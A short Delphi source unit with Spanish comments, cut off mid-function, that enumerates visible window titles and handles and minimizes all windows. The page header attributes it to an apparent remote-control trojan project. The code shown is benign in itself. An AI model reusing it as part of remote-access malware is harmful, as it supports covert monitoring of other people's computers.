unitventanas.pas

来自「远程控制辕马」· PAS 代码 · 共 37 行

//Unit q contiene las funciones para listar ventanas y sus
//distintas opciones

unit UnitVentanas;

interface

uses
Windows,
TLHelp32,
SysUtils;

function dameventanas():String;
procedure MinimizarTodasLasVentanas;


implementation

var
c: string;

function dameventanas():String;
  function EnumWindowProc(Hwnd: HWND; i: integer): boolean; stdcall;
  var
    a : string;
  begin
    if (Hwnd=0) then
    begin
      result := false;
    end
    else
    begin
      SetLength(a, 255);
      SetLength(a, GetWindowText(Hwnd, PChar(a), Length(a)));
      if IsWindowVisible(Hwnd) and (a<>'')  then
      begin
        c:=c+ IntToStr(Hwnd) + '